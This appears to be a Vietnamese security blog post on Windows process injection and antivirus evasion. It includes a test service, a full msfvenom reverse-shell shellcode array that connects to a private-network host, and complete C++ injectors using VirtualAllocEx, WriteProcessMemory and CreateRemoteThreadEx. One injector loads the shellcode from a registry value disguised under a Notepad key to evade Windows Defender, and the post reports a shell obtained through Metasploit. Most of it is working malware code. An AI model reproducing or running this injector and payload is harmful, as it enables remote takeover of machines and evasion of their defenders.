Service
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Threading.Tasks;
using System.Timers;
namespace TestService
{
public partial class Service1 : ServiceBase
{
private Timer timer = null;
private int tickCount = 0;
public Service1()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
// Tạo 1 timer từ libary System.Timers
timer = new Timer();
// Execute mỗi 60s
timer.Interval = 60000;
// Những gì xảy ra khi timer đó dc tick
timer.Elapsed += timer_Tick;
// Enable timer
timer.Enabled = true;
// Ghi vào log file khi services dc start lần đầu tiên
Utilities.WriteLogError("Test for 1st run WindowsService");
}
private void timer_Tick(object sender, ElapsedEventArgs args)
{
// Xử lý một vài logic ở đây
tickCount++;
Utilities.WriteLogError("Timer has ticked for doing something!!!");
if (tickCount == 1)
{
Utilities.WriteLogError("Test Malware Persistence at minute 1.");
// Làm chương trình bị hỏng
Environment.Exit(1);
}
}
protected override void OnStop()
{
// Ghi log lại khi Services đã được stop
timer.Enabled = true;
Utilities.WriteLogError("1st WindowsService has been stop");
}
}
}
Install service
Powershell:
New-Service -Name "Test Service" -BinaryPathName "D:\Microsoft Visual Studio\Repos\OJT\TestService\bin\Release\TestService.exe" -DisplayName "Test Service" -Description "This is a test service." -StartupType Manual
Inject shellcode từ registry:
Mình có 1 shellcode như sau:
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x56,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x50,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x11,0x5c,0xc0,0xa8,0x71,0x8e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
Shellcode này được gen ra từ msfvenom, và khi ghi trong source luôn thì nó sẽ bị Windows Defender bắt. Để minh họa thì mình có source code như sau:
#include <Windows.h>
#include <iostream>
using namespace std;
DWORD pID = NULL, tID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;
unsigned char shellCode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x54\x72\x75\x6E\x67\x50\x51\x36\x00\x00\x00\x00"
"\x54\x72\x75\x6E\x67\x50\x51\x36\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
int main(int argc, char* argv[]) {
if (argc < 2) {
cout << "[?] Please use program.exe <PID>" << endl;
return EXIT_FAILURE;
}
pID = atoi(argv[1]);
cout << "Trying to open handle to process " << pID << endl;
// Mở process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
if (hProcess == NULL) {
cout << "There is no process like that! Error: " << GetLastError() << endl;
return EXIT_FAILURE;
}
cout << "Got a handle to the process\n" << hProcess << endl;
// Tạo vùng nhớ ảo để chứa shell code
rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
cout << "Allocated " << sizeof(shellCode) << "-bytes with PAGE_EXECUTE_READWRITE perm" << endl;
// Ghi vùng nhớ ảo trên vào process
WriteProcessMemory(hProcess, rBuffer, shellCode, sizeof(shellCode), NULL);
cout << "Wrote " << sizeof(shellCode) << "-bytes to process memory" << endl;
// Tạo thread để chạy payload
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &tID);
if (hThread == NULL) {
cout << "Can not create thread! Error: " << GetLastError() << endl;
CloseHandle(hProcess);
return EXIT_FAILURE;
}
cout << "Got a handle to a threat! TID = " << tID << endl;
cout << hThread << endl;
WaitForSingleObject(hThread, INFINITE);
//Clean
cout << "Cleaning..." << endl;
CloseHandle(hThread);
CloseHandle(hProcess);
cout << "Finished!" << endl;
return EXIT_SUCCESS;
}
Có thể thấy ngay từ khi compile nó đã bị Windows Defender bắt:
Nên mình đã thử code một chương trình có thể đọc shellcode từ trong registry và thực thi, xem có bypass được Windows Defender hay không.
Code C++:
#include <Windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>
using namespace std;
DWORD pID = NULL, tID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;
// Đọc shellcode từ registry
bool ReadShellCodeFromRegistry(string& shellCodeStr) {
HKEY hKey;
LPCSTR subKey = "SOFTWARE\\Microsoft\\Notepad";
LPCSTR valueName = "testShell";
DWORD dataSize = 0;
LONG result;
// Mở registry
result = RegOpenKeyExA(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &hKey);
if (result != ERROR_SUCCESS) {
cout << "Failed to open registry key! Error: " << result << endl;
return false;
}
// Đọc size của shellcode
result = RegQueryValueExA(hKey, valueName, NULL, NULL, NULL, &dataSize);
if (result != ERROR_SUCCESS) {
cout << "Failed to query registry value size! Error: " << result << endl;
RegCloseKey(hKey);
return false;
}
// Allocate buffer cho shellcode
char* buffer = new char[dataSize + 1];
buffer[dataSize] = '\0'; // Null-terminate
// Đọc giá trị shellcode
result = RegQueryValueExA(hKey, valueName, NULL, NULL, reinterpret_cast<LPBYTE>(buffer), &dataSize);
if (result != ERROR_SUCCESS) {
cout << "Failed to read registry value! Error: " << result << endl;
delete[] buffer;
RegCloseKey(hKey);
return false;
}
shellCodeStr = buffer;
delete[] buffer;
RegCloseKey(hKey);
return true;
}
// Convert shellcode về bytes
vector<unsigned char> HexStringToBytes(const string& hexStr) {
vector<unsigned char> bytes;
stringstream ss(hexStr);
string byteStr;
while (getline(ss, byteStr, ',')) {
unsigned int byte;
stringstream hexByte;
hexByte << hex << byteStr;
hexByte >> byte;
bytes.push_back(static_cast<unsigned char>(byte));
}
return bytes;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
cout << "[?] Please use program.exe <PID>" << endl;
return EXIT_FAILURE;
}
pID = atoi(argv[1]);
string shellCodeStr;
// Đọc shellcode từ registry
if (!ReadShellCodeFromRegistry(shellCodeStr)) {
cout << "Failed to read shellcode from registry" << endl;
return EXIT_FAILURE;
}
// Convert
vector<unsigned char> shellCode = HexStringToBytes(shellCodeStr);
DWORD shellCodeSize = static_cast<DWORD>(shellCode.size());
cout << "Shellcode: " << &shellCode << endl;
cout << "Trying to open handle to process " << pID << endl;
// Mở process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
if (hProcess == NULL) {
cout << "There is no process like that! Error: " << GetLastError() << endl;
return EXIT_FAILURE;
}
cout << "Got a handle to the process\n" << hProcess << endl;
// Tạo vùng nhớ ảo để chứa shell code
rBuffer = VirtualAllocEx(hProcess, NULL, shellCodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
cout << "Allocated " << shellCodeSize << "-bytes with PAGE_EXECUTE_READWRITE perm" << endl;
// Ghi vùng nhớ ảo trên vào process
WriteProcessMemory(hProcess, rBuffer, shellCode.data(), shellCodeSize, NULL);
cout << "Wrote " << shellCodeSize << "-bytes to process memory" << endl;
// Tạo thread để chạy payload
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &tID);
if (hThread == NULL) {
cout << "Cannot create thread! Error: " << GetLastError() << endl;
CloseHandle(hProcess);
return EXIT_FAILURE;
}
cout << "Got a handle to a thread! TID = " << tID << endl;
cout << hThread << endl;
WaitForSingleObject(hThread, INFINITE);
// Clean up
cout << "Cleaning..." << endl;
CloseHandle(hThread);
CloseHandle(hProcess);
cout << "Finished!" << endl;
return EXIT_SUCCESS;
}
Mình sẽ ghi shellcode vào HKEY_CURRENT_USER\SOFTWARE\Microsoft\Notepad
với String Value là testShell
.
Chạy metasploit làm C2 server:
Mình sẽ tiến hành chạy malware trong khi vẫn đnag bật Windows Defender:
Metasploit đã thành công lấy được reverse shell:
Một lúc sau, Windows Defender mới bắt được malware, cơ mà nó chỉ tiến hành kill tiến trình notepad bị inject chứ không phát hiện được phần mềm nào đã inject
Quan sát Process Explorer khi quá trình inject diễn ra. Trước khi bị Windows Defender kill, ta thấy từ notepad.exe xuất hiện tiến trình con là cmd.exe
Nên khi notepad bị kill, ta vẫn sẽ có thể truy cập được shell
Bonus: Khi đối đầu với kaspersky, khi shellcode được inject, có lưu lượng mạng được gửi đi, tuy nhiên cmd.exe đã không được tạo ra
Kaspersky đã block notepad.exe sớm hơn Windows Defender, cũng như file Inject đã bị xóa mất.
Last updated